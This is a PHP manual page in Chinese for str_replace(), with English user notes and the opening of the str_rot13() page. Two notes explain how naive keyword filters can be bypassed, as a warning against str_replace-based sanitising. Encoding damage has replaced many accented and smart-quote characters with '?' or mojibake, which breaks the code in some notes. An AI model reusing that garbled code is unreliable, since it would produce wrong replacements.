如果 search 和 replace 为数组，那么 str_replace() 将对 subject 做二者的映射替换。如果 replace 的值的个数少于 search 的个数，多余的替换将使用空字符串来进行。如果 search 是一个数组而 replace 是一个字符串，那么 search 中每个元素的替换将始终使用这个字符串。该转换不会改变大小写。

如果 search 和 replace 都是数组，它们的值将会被依次处理。

search

查找的目标值，也就是 needle。一个数组可以指定多个目标。

replace

search 的替换值。一个数组可以被用来指定多重替换。

subject

执行替换的数组或者字符串。也就是 haystack。

如果 subject 是一个数组，替换操作将遍历整个 subject，返回值也将是一个数组。

count

如果被指定，它的值将被设置为替换发生的次数。

返回值

该函数返回替换后的数组或者字符串。

示例

Example #1 str_replace() 基本示例

<?php
// 赋值: <body text='black'>
$bodytag = str_replace("%body%", "black", "<body text='%body%'>");

// 赋值: Hll Wrld f PHP
$vowels = array("a", "e", "i", "o", "u", "A", "E", "I", "O", "U");
$onlyconsonants = str_replace($vowels, "", "Hello World of PHP");

// 赋值: You should eat pizza, beer, and ice cream every day
$phrase = "You should eat fruits, vegetables, and fiber every day.";
$healthy = array("fruits", "vegetables", "fiber");
$yummy = array("pizza", "beer", "ice cream");

$newphrase = str_replace($healthy, $yummy, $phrase);

// 赋值: 2
$str = str_replace("ll", "", "good golly miss molly!", $count);
echo $count;
?>

Example #2 可能的 str_replace() 替换示例

<?php
// 替换顺序
$str = "Line 1\nLine 2\rLine 3\r\nLine 4\n";
$order = array("\r\n", "\n", "\r");
$replace = '<br />';

// 首先替换 \r\n 字符，因此它们不会被两次转换
$newstr = str_replace($order, $replace, $str);

// 输出 F ，因为 A 被 B 替换，B 又被 C 替换，以此类推...
// 由于从左到右依次替换，最终 E 被 F 替换
$search = array('A', 'B', 'C', 'D', 'E');
$replace = array('B', 'C', 'D', 'E', 'F');
$subject = 'A';
echo str_replace($search, $replace, $subject);

// 输出: apearpearle pear
// 由于上面提到的原因
$letters = array('a', 'p');
$fruit = array('apple', 'pear');
$text = 'a p';
$output = str_replace($letters, $fruit, $text);
echo $output;
?>

注释

Note: 此函数可安全用于二进制对象。

Caution

了解替换顺序

由于 str_replace() 的替换时从左到右依次进行的，进行多重替换的时候可能会替换掉之前插入的值。参见该文档的示例。

Note:

该函数区分大小写。使用 str_ireplace() 可以进行不区分大小写的替换。

参见

  • str_ireplace() - str_replace 的忽略大小写版本
  • substr_replace() - 替换字符串的子串
  • preg_replace() - 执行一个正则表达式的搜索和替换
  • strtr() - 转换字符或替换字串

User Contributed Notes

ressing1 at gmail dot com 21-Jun-2021 08:34
To remove all characters from string $b that exist in string $a:

$a="ABC";
$b="teAsBtC";
echo str_replace(str_split($a),'',$b);

Output: test

To remove all characters from string $b that don't exist in string $a:

$a="ABC";
$b="teAsBtC";
echo str_replace(str_split(str_replace(str_split($a),'',$b)),'',$b);

Output: ABC
hyperzlib at outlook dot com 04-Jul-2020 12:33
Use str_replace to remove all dashes but one from the string '-aaa----b-c-----d--e---f' (resulting is: '-aaa-b-c-d-e-f')

<?php
$challenge = '-aaa----b-c-----d--e---f';
do $challenge = str_replace('--', '-', $challenge, $count); while($count);
echo $challenge;
?>
iskus1981 at gmail dot com 19-Feb-2020 09:21
bracesChecker($str) {
    while($str) {
        $str = str_replace(['()','[]','{}'], '', $str, $count);
        if (!$str) return true;
        if (!$count && $str) return false;
    }
}
$str = '[}]{(){][}()';
echo bracesChecker($str);
//false
$str = '([]{})[{}[]{[]}([{[]}])';
echo bracesChecker ($str);
//true
ravenswd at gmail dot com 11-Jul-2018 01:33
This is what happens when the search and replace arrays are different sizes:

<?php
$search  = array('a', 'b', 'c', 'd', 'e');
$replace = array('A', 'B', 'C');
$subject = 'abcdefg';
echo str_replace($search, $replace, $subject);
// result: 'ABCfg'

$search  = array('a', 'b', 'c');
$replace = array('A', 'B', 'C', 'D', 'E');
$subject = 'abcdefg';
echo str_replace($search, $replace, $subject);
// result: 'ABCdefg'
?>

No warning or error is generated in either of these cases.
ASchmidt at Anamera dot net 20-May-2018 04:22
Escaping strings with control characters, quotes and backslashes for subsequent use in MySQL commands.

MySQL has documented a number of backslash escape sequences that need to be used to pass certain values in SQL commands: https://dev.mysql.com/doc/refman/5.7/en/string-literals.html

It's crucial to escape existing backslashes first to prevent double-escaping, before escaping the various control sequences:

<?php
$result = str_replace(
                array( '\\',    "\0",   "'",    "\x8" /* BS */, "\n",   "\r",   "\t",   "\x1A" /* Ctrl+Z */ ),
                array( '\\\\',  '\\0',  '\\\'', '\\b',          '\\n',  '\\r',  '\\t',  '\\Z' ),
                $value );
?>

This code is NOT intended to protect against SQL insertions, it's intended to PRESERVE string content correctly, if it contains control characters.
jefrey at forteras dot tech 02-Mar-2018 02:54
NEVER USE this function to protect against SQL Injection.

It may sound ridiculous but I've seen a couple of developers doing so.

It's interesting that these developers use str_replace (let's ignore the fact that they don't even use the str_ireplace which is case-insensitive) to remove common SQL commands such as "SELECT" or "DROP" from user-entered inputs.

A funny thing to note is that:

<?php
$input = "SELSELECTECT";
echo str_replace("SELECT", null, $input); // = SELECT
?>

Yeah you could loop it, but str_replace was never meant to be used this way. There are proper ways to protect against SQL Injections, such as using prepared statements (placeholders).
Oyedele Hammed Horlah - itz dot harmid at gmail dot com 08-Oct-2017 08:05
this is a simple function to replace all newlines to <br> tags.

\r\n - windows line break
\n - linux line break
\r - mac line break

<?php
function nl_to_br($str) {
return str_replace(array("\r\n","\n","\r"), "<br/>", $str);
}
echo nl_to_br('Hello world\n I am Oyedele Hammed Horlah'); // => Hello World <br> I am Oyedele Hammed Horlah
?>

Enjoy
vuabid at hotmail dot com 06-Sep-2017 08:44
Consider this while using str_replace function when $search and $replace are arrays.

$search = array( 'login_reactivate', 'login_reactivate_date' );
$replace = array( 'login reactivate status', 'login reactivate date' );
$subject = "fname, email, login_reactivate, login_reactivate_date";

$returnValue = str_replace( $search, $replace, $subject );

$returnValue will be:
fname, email, login reactivate status, login reactivate status_date

You can see we are expecting "login_reactivate_date" to be replaced with "login reactivate date" but it will replace to "login reactivate status_date"
flame2000 at mail dot ru 21-Sep-2016 07:17
Replace chars in multi-byte string.
In example, replacing 'f'=>'b', 'o'=>'e', 't'=>'r' and etc.

<?php
function mb_chars_replace($from, $to, $subj, $delSymb='_') {
     $nsubj='';
     preg_match_all('/(.)/u', $subj, $subj);$subj=$subj[1];
     if (!is_array($from)) {preg_match_all('/(.)/u', $from, $from);$from=$from[1];}
     if (!is_array($to)) {preg_match_all('/(.)/u', $to, $to);$to=$to[1];}
     if (count($from)!==count($to)) return false;

     foreach($subj as $s) {
       foreach($from as $k=>$f) {
         if($s===$f) {
                    $s=$to[$k];
                    break;
         }
       }
       if($s!==$delSymb) $nsubj.=$s;
     }
    return $nsubj;
}

//examples:

$from="fotber, ";
$to="berfot+_";

// or

$from=array("f","o","t","b","e","r",","," ");
$to=array("b","e","r","f","o","t","+","_");

//out:
echo mb_chars_replace($from,$to,"foot, beer"); //beer+foot
?>
viundan at gmail dot com 26-Aug-2016 04:08
Decision to avoid problem "it might replace a previously inserted value when doing multiple replacements. See also the examples in this document."

$urls - array of urls i want to replace with tag <a> and urls could be similar
http://abc.com/parameter/
http://abc.com/

// at first sort by length to have longest firstly
usort($urls,'sortByLen');

$replaces=[];

// replace all urls with unique
foreach($urls as $url){
    $replace = '__REPLACE' . uniqid() . '__';
    $text = str_replace($url,$replace, $text);
    $replaces[$replace] = '<a href="' . $url . '">' . $url . '</a>';
}

foreach($replaces as $key => $replace){
    $text = str_replace($key,$replace, $text);
}

--------------

function sortByLen($a,$b){
    return strlen($b)-strlen($a);
}

Hope it will help others like me
Mohsin Ali (puregenius02 at gmail dot com) 06-May-2016 10:28
$myString = "It was the best of mine it was the worst of mine,";
// Displays "It was the best of bananas, it was the worst of bananas,"
echo str_replace( "mine", "bananas", $myString );
If you want to know how many times the search string was replaced, pass in a variable as an optional
fourth argument. After the function runs, this variable holds the number of replacements:
$myString = "It was the best of mine, it was the worst of mine,";
// Displays "It was the best of bananas, it was the worst of bananas,"
echo str_replace( "mine", "bananas", $myString, $num ) . " < br/ > ";
// Displays "The text was replaced 2 times."
echo "The text was replaced $num times. < br/ > ";
David Holt 05-Feb-2016 02:59
Be aware that if you use this for filtering & sanitizing some form of user input, or remove ALL instances of a string, there's another gotcha to watch out for:

// Remove all double characters
$string="1001011010";
$string=str_replace(array("11","00"),"",$string);
// Output: "110010"

$string="<ht<html>ml> Malicious code </<html>html> etc";
$string=str_replace(array("<html>","</html>"),"",$string);
// Output: "<html> Malicious code </html> etc"
mrrehbein at gmail dot com 03-Apr-2015 01:25
nikolaz dot tang at hotmail dot com's solution of using json_encode/decode is interesting, but a couple of issues to be aware of with it.

<?php
// From: nikolaz dot tang at hotmail dot com's post
function str_replace_json($search, $replace, $subject){
     return json_decode(str_replace($search, $replace,  json_encode($subject)));
}
?>

json_decode will return objects, where arrays are probably expected.  This is easily remedied by adding 2nd parameter 'true' to json_decode.

$search and $replace could contain strings that match json encoding, which will either change the structure returned by this method, or break the json.

ie:
<?php
var_dump(str_replace_json('":"', '","', ['this' => 'stuff']));
var_dump(str_replace_json('this":"', 'this" : "thing", "with":"', ['this' => 'stuff']));
?>
borasahin at gmail dot com 02-Mar-2015 08:59
jSON Turkish Characters Problem - (PHP < 5.4 for example)

<?php
function json_decode_tr($json){
       $json_char = array("u00e7","u0131","u00fc","u011f","u00f6","u015f","u0130","u011e","u00dc","u00d6","u015e","u00c7");
       $turkish = array("?","?","ü","?","?","?","?","?","ü","?","?","?");
       $result = str_replace($json_char, $turkish, $json);
       return json_decode($json);
    }
?>
karst at onlinq dot nl 17-Oct-2014 01:57
"If search is an array and replace is a string, then this replacement string is used for every value of search. The converse would not make sense, though. "

I think one important (and not at all vaguely theoretical) use-case is completely ignored here. Take, for example, the way the PDO handles parameter replacement.

If we have the following query:
"SELECT * FROM my_table WHERE (id = ? AND my_column = ? AND other_column = ?);"
The "?"s should be replaced by each successive variable in a $parameters array. That is EXACTLY the use case for "search" being a value and "replace" being an array.

Considering that this is not only a real-world example but also part of a core PHP functionality I find it very strange that it's dismissed so easily here.
Ing. Mirko Plazotta 04-Sep-2014 09:27
<?php
// a very beatiful way to do multiple replacements is this one, using just one array
$replaceThis = Array(
'old word' => 'new word',
'was' => 'it',
'past' => 'future',
);

$originalText = "every old word was a thing of the past...";
$replacedText = str_replace(array_keys($replaceThis), $replaceThis, $originalText);
echo $replacedText;
?>
markem at sim1 dot us 27-Aug-2014 08:04
I was working with MySQL and displaying the title to things on the web page.  I'd written a script to ensure single and double quotes were removed from the title.  I used

    $title = str_replace( "'", "", $title );

and

     $title = str_replace( '"', "", $title );

But still the single and double quotes continued.  So I wrote a bit of code to print out each character separated by a dash.  Like so:

     for( $i=0; $i<strlen($title); $i++ ){
         echo "$i-";
         }

     echo "<br>\n";

This displayed:

     m-y-c-o-m-p-a-n-y- b-b-&-#-3-9-;-s

Which made me go "Oh!  I get it."

The MySQL function real_escape_string modifies the single quotes to be &#39; and double quotes as &#34;  These still show up as single and double quotes under HTML and most importantly -

     JAVASCRIPT sees the &#34; and &#39; as actual single or double
     quotes.  So if you are passing arguments to a function you have
     to get rid of them or else you will get an error on trying to call
     a given function.  Example:

     <a href="javascript:func1('mycompany bbs&#39;s")'">

     becomes

     <a href="javascript:func1('mycompany bbs's');">

Which then will give you an error because there is a single quote inside of the single quoted string.  HOWEVER, the

     $title = str_replace( "'", "", $title );

WILL NOT FIND a single quote.  Instead, you have to do this:

     $title = str_replace( "&#39;", "'", $title );
and
     $title = str_relace( "&#34;", '"', $title );

(Or you could just get rid of them.)

So remember!  If you are trying to remove single and double quotes and are using MySQL and MySQL's real_escape_string() function that you might be having single and double quotes hanging around which are defined as &#39; and &#34; but which show up as single and double quotes as well as causing problems in your Javascripts.
Anonymous 19-Jul-2013 10:01
@moostende at gmail dot com
If you want to remove all dashes but one from the string '-aaa----b-c-----d--e---f' resulting in '-aaa-b-c-d-e-f', you CAN use str_replace !

<?php
function foo($str)
{
    do {
        $str = str_replace("--", "-", $str, $count);
    } while ($count > 0);
    return $str;
}
echo foo("-aaa----b-c-----d--e---f");
?>

This outputs the following:
-aaa-b-c-d-e-f
kriscraig at php dot net 20-Jul-2012 11:03
<?php

/**
 * Convert foreign 8859-1 characters into HTML entities.
 *
 * @param string $str
 *   The string being parsed.
 *
 * @return string
 *   The converted string.
 */
public static function convert_chars_to_entities( $str )
{
    $str = str_replace( 'à', '&#192;', $str );
    $str = str_replace( 'á', '&#193;', $str );
    $str = str_replace( '?', '&#194;', $str );
    $str = str_replace( '?', '&#195;', $str );
    $str = str_replace( '?', '&#196;', $str );
    $str = str_replace( '?', '&#197;', $str );
    $str = str_replace( '?', '&#198;', $str );
    $str = str_replace( '?', '&#199;', $str );
    $str = str_replace( 'è', '&#200;', $str );
    $str = str_replace( 'é', '&#201;', $str );
    $str = str_replace( 'ê', '&#202;', $str );
    $str = str_replace( '?', '&#203;', $str );
    $str = str_replace( 'ì', '&#204;', $str );
    $str = str_replace( 'í', '&#205;', $str );
    $str = str_replace( '?', '&#206;', $str );
    $str = str_replace( '?', '&#207;', $str );
    $str = str_replace( 'D', '&#208;', $str );
    $str = str_replace( '?', '&#209;', $str );
    $str = str_replace( 'ò', '&#210;', $str );
    $str = str_replace( 'ó', '&#211;', $str );
    $str = str_replace( '?', '&#212;', $str );
    $str = str_replace( '?', '&#213;', $str );
    $str = str_replace( '?', '&#214;', $str );
    $str = str_replace( '×', '&#215;', $str );  // Yeah, I know.  But otherwise the gap is confusing.  --Kris
    $str = str_replace( '?', '&#216;', $str );
    $str = str_replace( 'ù', '&#217;', $str );
    $str = str_replace( 'ú', '&#218;', $str );
    $str = str_replace( '?', '&#219;', $str );
    $str = str_replace( 'ü', '&#220;', $str );
    $str = str_replace( 'Y', '&#221;', $str );
    $str = str_replace( 'T', '&#222;', $str );
    $str = str_replace( '?', '&#223;', $str );
    $str = str_replace( 'à', '&#224;', $str );
    $str = str_replace( 'á', '&#225;', $str );
    $str = str_replace( 'a', '&#226;', $str );
    $str = str_replace( '?', '&#227;', $str );
    $str = str_replace( '?', '&#228;', $str );
    $str = str_replace( '?', '&#229;', $str );
    $str = str_replace( '?', '&#230;', $str );
    $str = str_replace( '?', '&#231;', $str );
    $str = str_replace( 'è', '&#232;', $str );
    $str = str_replace( 'é', '&#233;', $str );
    $str = str_replace( 'ê', '&#234;', $str );
    $str = str_replace( '?', '&#235;', $str );
    $str = str_replace( 'ì', '&#236;', $str );
    $str = str_replace( 'í', '&#237;', $str );
    $str = str_replace( '?', '&#238;', $str );
    $str = str_replace( '?', '&#239;', $str );
    $str = str_replace( 'e', '&#240;', $str );
    $str = str_replace( '?', '&#241;', $str );
    $str = str_replace( 'ò', '&#242;', $str );
    $str = str_replace( 'ó', '&#243;', $str );
    $str = str_replace( '?', '&#244;', $str );
    $str = str_replace( '?', '&#245;', $str );
    $str = str_replace( '?', '&#246;', $str );
    $str = str_replace( '÷', '&#247;', $str );  // Yeah, I know.  But otherwise the gap is confusing.  --Kris
    $str = str_replace( '?', '&#248;', $str );
    $str = str_replace( 'ù', '&#249;', $str );
    $str = str_replace( 'ú', '&#250;', $str );
    $str = str_replace( '?', '&#251;', $str );
    $str = str_replace( 'ü', '&#252;', $str );
    $str = str_replace( 'y', '&#253;', $str );
    $str = str_replace( 't', '&#254;', $str );
    $str = str_replace( '?', '&#255;', $str );

    return $str;
}
?>
christof dot rieger at r-tron dot de 25-Apr-2012 08:41
In many countries the numeric format is 1.000,33 in english it is 1,000.33

This function converts numeric arguments always into the PHP confirm numeric format. If only one seperator is into the numericstring so it is interpreted as the decimalpoint.

 function dp($zahl)
{
  if ((strpos($zahl,".") > "-1") | (strpos($zahl,",") > "-1")) {
    if ((strpos($zahl,".") > "-1") & (strpos($zahl,",") > "-1")) {
      if (strpos($zahl,".") > strpos($zahl,",")){
          return str_replace(",","",$zahl);
    } else {
          return str_replace(",",".",str_replace(".","",$zahl));
      }
  } else {
      if (strpos($zahl,".") > "-1") {
        if (strpos($zahl,".") == strrpos($zahl,".")) {
            return $zahl;
      } else {
          return str_replace(".","",$zahl);
        }
    } else {
        if (strpos($zahl,",") == strrpos($zahl,",")) {
          return str_replace(",",".",$zahl);
      } else {
          return str_replace(",","",$zahl);
        }
    } }
} else {
    return $zahl;
} }
Denzel Morris 06-Apr-2012 02:43
Maybe obvious to veteran PHP programmers but less so to novice PHP programmers is the fact that this is invalid:
<?php
str_replace($search, $replace, $subject, 1);
?>
At a glance it appears to be a reasonable request, until you realize that the fourth parameter must be a variable in order to be passed as a reference. A replacement:
<?php
str_replace($search, $replace, $subject, $temp = 1);
// or
$temp = 1;
str_replace($search, $replace, $subject, $temp);
?>
cc at cc dot com 31-Mar-2012 05:26
I found a pretty low tech solution to avoid the "gotcha" without worrying about the array order of how things are replaced. I could not "order" the replacement array easily because it was being read from a database table.

Anyway if you add an identifiable token to each replaced word, then just filter this out at the very end, no nested search terms are found. I just dynamically add the %% after the first char of each word before pumping it into the str_ireplace function.

$find = array("as1", "as2", "as3", "flex");
$replace = array("<a href = \"#as1\">A%%uto S%%entry R%%ev. A%%</a>", "<a href = \"#as2\">A%%uto S%%entry E%%xp</a>", "<a href = \"#as3\">A%%uto S%%entry f%%lex</a>", "<a style = \"color: red;\" href = \"#flex\">f%%lex</a>");
$text = str_ireplace($find, $replace, $text);
echo str_ireplace("%%", "", $text);

In this case I am using %% as my token as this is an unlikely char combo for me.
moostende at gmail dot com 26-Sep-2011 11:20
Note that this does not replace strings that become part of replacement strings. This may be a problem when you want to remove multiple instances of the same repetative pattern, several times in a row.

If you want to remove all dashes but one from the string '-aaa----b-c-----d--e---f' resulting in '-aaa-b-c-d-e-f', you cannot use str_replace. Instead, use preg_replace:

<?php
$challenge = '-aaa----b-c-----d--e---f';
echo str_replace('--', '-', $challenge).'<br>';
echo preg_replace('/--+/', '-', $challenge).'<br>';
?>

This outputs the following:
-aaa--b-c---d-e--f
-aaa-b-c-d-e-f
mbullard at accuvista dot co dot uk 14-Jul-2011 02:42
Insert space after comma.

If you have a form that stores results in a database field as comma separated values, when you display this data you can use the following to insert a space after each comma:

<?php
$find[] = ',';
$replace[] = '&#44;&nbsp;';
$text = str_replace($find, $replace, $row_rsRecordset['Field']);
print_r($text);
?>

Notes:
1) To get round the Replacement Order Gotcha, the comma is also replaced with its code equivalent: &#44;
2) You can adapt the $replace section to suit your needs: swap out the &nbsp; code with <br/> or replace comma and space with &nbsp;&middot;&nbsp; etc.
jay_knows_(all)uk at hotmail dot com 16-Feb-2011 07:16
This strips out horrible MS word characters.

Just keep fine tuning it until you get what you need, you'll see ive commented some out which caused problems for me.

There could be some that need adding in, but its a start to anyone who wishes to make their own custom function.

<?php

function msword_conversion($str)
{
$str = str_replace(chr(130), ',', $str);    // baseline single quote
$str = str_replace(chr(131), 'NLG', $str);  // florin
$str = str_replace(chr(132), '"', $str);    // baseline double quote
$str = str_replace(chr(133), '...', $str);  // ellipsis
$str = str_replace(chr(134), '**', $str);   // dagger (a second footnote)
$str = str_replace(chr(135), '***', $str);  // double dagger (a third footnote)
$str = str_replace(chr(136), '^', $str);    // circumflex accent
$str = str_replace(chr(137), 'o/oo', $str); // permile
$str = str_replace(chr(138), 'Sh', $str);   // S Hacek
$str = str_replace(chr(139), '<', $str);    // left single guillemet
// $str = str_replace(chr(140), 'OE', $str);   // OE ligature
$str = str_replace(chr(145), "'", $str);    // left single quote
$str = str_replace(chr(146), "'", $str);    // right single quote
// $str = str_replace(chr(147), '"', $str);    // left double quote
// $str = str_replace(chr(148), '"', $str);    // right double quote
$str = str_replace(chr(149), '-', $str);    // bullet
$str = str_replace(chr(150), '--', $str);    // endash
$str = str_replace(chr(151), '--', $str);   // emdash
// $str = str_replace(chr(152), '~', $str);    // tilde accent
// $str = str_replace(chr(153), '(TM)', $str); // trademark ligature
$str = str_replace(chr(154), 'sh', $str);   // s Hacek
$str = str_replace(chr(155), '>', $str);    // right single guillemet
// $str = str_replace(chr(156), 'oe', $str);   // oe ligature
$str = str_replace(chr(159), 'Y', $str);    // Y Dieresis
$str = str_replace('°C', '&deg;C', $str);    // Celcius is used quite a lot so it makes sense to add this in
$str = str_replace('￡', '&pound;', $str);
$str = str_replace("'", "'", $str);
$str = str_replace('"', '"', $str);
$str = str_replace('-', '&ndash;', $str);

return $str;
}

?>
nikolaz dot tang at hotmail dot com 11-Nov-2010 08:57
A faster way to replace the strings in multidimensional array is to json_encode() it, do the str_replace() and then json_decode() it, like this:

<?php
function str_replace_json($search, $replace, $subject){
     return json_decode(str_replace($search, $replace,  json_encode($subject)));

}
?>

This method is almost 3x faster (in 10000 runs.) than using recursive calling and looping method, and 10x simpler in coding.

Compared to:

<?php
function str_replace_deep($search, $replace, $subject)
{
    if (is_array($subject))
    {
        foreach($subject as &$oneSubject)
            $oneSubject = str_replace_deep($search, $replace, $oneSubject);
        unset($oneSubject);
        return $subject;
    } else {
        return str_replace($search, $replace, $subject);
    }
}
?>
apmuthu at usa dot net 19-Jun-2010 12:31
If we have a html template that contains placeholders in curly braces that need to be replaced in runtime, the following function will do it using str_replace:

<?php

function parse_template($filename, $data) {
// example template variables {a} and {bc}
// example $data array
// $data = Array("a" => 'one', "bc" => 'two');
    $q = file_get_contents($filename);
    foreach ($data as $key => $value) {
        $q = str_replace('{'.$key.'}', $value, $q);
    }
    return $q;
}

?>
christian dot reinecke at web dot de 14-May-2010 12:06
If you need to replace a string in another, but only once but still in all possible combinations (f.e. to replace "a" with "x" in "aba" to get array("xba", "abx")) you can use this function:
<?php
function getSingleReplaceCombinations($replace, $with, $inHaystack)
{
    $splits = explode($replace, $inHaystack);
    $result = array();
    for ($i = 1, $ix = count($splits); $i < $ix; ++$i) {
        $previous = array_slice($splits, 0, $i);
        $next     = array_slice($splits, $i);

        $combine  = array_pop($previous) . $with . array_shift($next);
        $result[] = implode($replace, array_merge($previous, array($combine), $next));
    }
    return $result;
}
var_dump(getSingleReplaceCombinations("a", "x", "aba")); // result as mentioned above
?>
It may not be the best in performance, but it works.
jbarnett at jmbelite dot com 26-Apr-2010 01:23
Might be worth mentioning that a SIMPLE way to accomplish Example 2 (potential gotchas) is to simply start your "replacements" in reverse.

So instead of starting from "A" and ending with "E":

<?php
$search  = array('A', 'B', 'C', 'D', 'E');
$replace = array('B', 'C', 'D', 'E', 'F');
// replaces A to B, B to C, C to D, D to E, E to F (makes them all F)
// start from "E" and end with "A":

$search  = array('E', 'D', 'C', 'B', 'A');
$replace = array('F', 'E', 'D', 'C', 'B');
// replaces E to F, D to E, C to D, B to C, A to B (prevents from
// multiple replacements of already replaced values)
?>

So basically start from the "end" and put the replacements in an order where the "replaced value" won't equal a value that exists later in the "search array".
pjcdawkins at googlemail dot com 23-Apr-2010 05:23
Here's a deep replace function allowing multi-dimensional arrays in $search, $replace and $subject. The keys and other structure of $subject are preserved.

<?php
// Auxiliary function:
function _replaceWithAnything($search,$replace,$subject){
  if(!is_array($search) || !is_array($replace)){
    $search=array($search);
    $replace=array($replace);
  }
  $match=array_search($subject,$search,true);
  if($match!==false && array_key_exists($match,$replace))
    $subject=$replace[$match];
  return $subject;
}

// Main function:
function deepReplace($search,$replace,$subject){
  if(!is_array($subject))
    return _replaceWithAnything($search,$replace,$subject);
  foreach($subject as &$val){
    if(is_array($val)){
      $val=deepReplace($search,$replace,$val);
      continue;
    }
    $val=_replaceWithAnything($search,$replace,$val);
  }
  return $subject;
}
?>
Wes Foster 17-Dec-2009 01:32
Feel free to optimize this using the while/for or anything else, but this is a bit of code that allows you to replace strings found in an associative array.

For example:
<?php
$replace = array(
'dog' => 'cat',
'apple' => 'orange'
'chevy' => 'ford'
);

$string = 'I like to eat an apple with my dog in my chevy';

echo str_replace_assoc($replace,$string);

// Echo: I like to eat an orange with my cat in my ford
?>

Here is the function:

<?php
function strReplaceAssoc(array $replace, $subject) {
   return str_replace(array_keys($replace), array_values($replace), $subject);
}
?>

[Jun 1st, 2010 - EDIT BY thiago AT php DOT net: Function has been replaced with an updated version sent by ljelinek AT gmail DOT com]
Alberto Lepe 15-Jun-2009 07:44
Be careful when replacing characters (or repeated patterns in the FROM and TO arrays):

For example:

<?php
$arrFrom = array("1","2","3","B");
$arrTo = array("A","B","C","D");
$word = "ZBB2";
echo str_replace($arrFrom, $arrTo, $word);
?>

I would expect as result: "ZDDB"
However, this return: "ZDDD"
(Because B = D according to our array)

To make this work, use "strtr" instead:

<?php
$arr = array("1" => "A","2" => "B","3" => "C","B" => "D");
$word = "ZBB2";
echo strtr($word,$arr);
?>

This returns: "ZDDB"
michael dot moussa at gmail dot com 29-Jan-2009 06:38
As previous commentators mentioned, when $search contains values that occur earlier in $replace, str_replace will factor those previous replacements into the process rather than operating solely on the original string.  This may produce unexpected output.

Example:

<?php
$search = array('A', 'B', 'C', 'D', 'E');
$replace = array('B', 'C', 'D', 'E', 'F');
$subject = 'ABCDE';

echo str_replace($search, $replace, $subject); // output: 'FFFFFF'
?>

In the above code, the $search and $replace should replace each occurrence in the $subject with the next letter in the alphabet.  The expected output for this sample is 'BCDEF'; however, the actual output is 'FFFFF'.

To more clearly illustrate this, consider the following example:

<?php
$search = array('A', 'B', 'C', 'D', 'E');
$replace = array('B', 'C', 'D', 'E', 'F');
$subject = 'A';

echo str_replace($search, $replace, $subject); // output: 'F'
?>

Since 'A' is the only letter in the $search array that appears in $subject, one would expect the result to be 'B'; however, replacement number $n does *not* operate on $subject, it operates on $subject after the previous $n-1 replacements have been completed.

The following function utilizes array_combine and strtr to produce the expected output, and I believe it is the most efficient way to perform the desired string replacement without prior replacements affecting the final result.

<?php
/**
* When using str_replace(...), values that did not exist in the original string (but were put there by previous
* replacements) will be replaced continuously.  This string replacement function is designed replace the values
* in $search with those in $replace while not factoring in prior replacements.  Note that this function will
* always look for the longest possible match first and then work its way down to individual characters.
*
* The "o" in "stro_replace" represents "original", indicating that the function operates only on the original string.
*
* @param array $search list of strings or characters that need to be replaced
* @param array $replace list of strings or characters that will replace the corresponding values in $search
* @param string $subject the string on which this operation is being performed
*
* @return string $subject with all substrings in the $search array replaced by the values in the $replace array
*/
function stro_replace($search, $replace, $subject)
{
    return strtr( $subject, array_combine($search, $replace) );
}

$search = array('A', 'B', 'C', 'D', 'E');
$replace = array('B', 'C', 'D', 'E', 'F');
$subject = 'ABCDE';

echo stro_replace($search, $replace, $subject); // output: 'BCDEF'
?>

Some other examples:

<?php
$search = array(' ', '&');
$replace = array('&nbsp;', '&amp;');
$subject = 'Hello & goodbye!';

// We want to replace the spaces with &nbsp; and the ampersand with &amp;
echo str_replace($search, $replace, $subject); // output: "Hello&amp;nbsp&amp;&amp;nbspgoodbye!" - wrong!

echo stro_replace($search, $replace, $subject); // output: "Hello&nbsp;&amp;&nbsp;goodbye!" - correct!

/*
    Note:  Run the above code in the CLI or view source on your web browser - the replacement strings for stro_replace are HTML entities which the browser interprets.
*/
?>

<?php
$search = array('ERICA', 'AMERICA');
$replace = array('JON', 'PHP');
$subject = 'MIKE AND ERICA LIKE AMERICA';

// We want to replace the name "ERICA" with "JON" and the word "AMERICA" with "PHP"
echo str_replace($search, $replace, $subject); // output: "MIKE AND JON LIKE AMJON", which is not correct

echo stro_replace($search, $replace, $subject); // output: "MIKE AND JON LIKE PHP", which is correct
?>
matt wheaton 30-Mar-2006 07:40
As an effort to remove those Word copy and paste smart quotes, I've found that this works with UTF8 encoded strings (where $text in the following example is UTF8). Also the elipsis and em and en dashes are replaced.

There is an "invisible" character after the a� for the right side double smart quote that doesn't seem to display here. It is chr(157).

<?php
  $find[] = 'a�?';  // left side double smart quote
  $find[] = 'a�?';  // right side double smart quote
  $find[] = 'a�?';  // left side single smart quote
  $find[] = 'a�™';  // right side single smart quote
  $find[] = 'a�|';  // elipsis
  $find[] = 'a�"';  // em dash
  $find[] = 'a�"';  // en dash

  $replace[] = '"';
  $replace[] = '"';
  $replace[] = "'";
  $replace[] = "'";
  $replace[] = "...";
  $replace[] = "-";
  $replace[] = "-";

  $text = str_replace($find, $replace, $text);
?>


对字符串执行 ROT13 转换

  • ? str_replace
  • str_shuffle ?
  • PHP Manual
  • 字符串 函数
  • 对字符串执行 ROT13 转换

str_rot13

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

str_rot13 — 对字符串执行 ROT13 转换

说明

str_rot13(string $string): string

对 string 参数执行 ROT13 编码并将结果字符串返回。

ROT13 编码简单地使用字母表中后面第 13 个字母替换当前字母，同时忽略非字母表中的字符。编码和解码都使用相同的函数，传递一个编码过的字符串作为参数，将得到原始字符串。

参数

string

输入字符串。

返回值

返回给定字符串的 ROT13 版本。

示例

Example #1 str_rot13() 示例

<?php

echo str_rot13('PHP 4.3.0'); // CUC 4.3.0

?>

User Contributed Notes

devcoder at gmail dot com 20-Oct-2018 11:29
My own generic rotN function

<?php
function rotN($string, $n = 13)
{
    $alphabet = join(range('a', 'z'));
    $alen = strlen($alphabet);

    $n %= $alen;
    if($n < 0) {
        $n += $alen;
    }
    if($n == 0) {
        return $string;
    }

    $cycled = substr($alphabet . $alphabet, $n, $alen);
    $alphabet = $alphabet . strtoupper($alphabet);
    $cycled = $cycled . strtoupper($cycled);
    return strtr($string, $alphabet, $cycled);
}
?>
Chris 18-Sep-2018 11:58
A nice, simple way of using rot-n. Allows for a lot of easy customisation, and works quickly. This function uses ASCII characters and values.

<?php

function rotn($val, $n) {
    $min = 0;
    $max = 127;
    $final = '';
    $new_string = str_split($val);

    foreach ($new_string as $letter) {
        $current = ord($letter);
        $val = $current+$n;

        if ($val >= $max) {
            $val = $val - $max;
        }

        if ($val <= $min) {
            $val = $val + $min;
        }

        $current = $val;
        $final .= chr($current);
    }

    return $final;
}

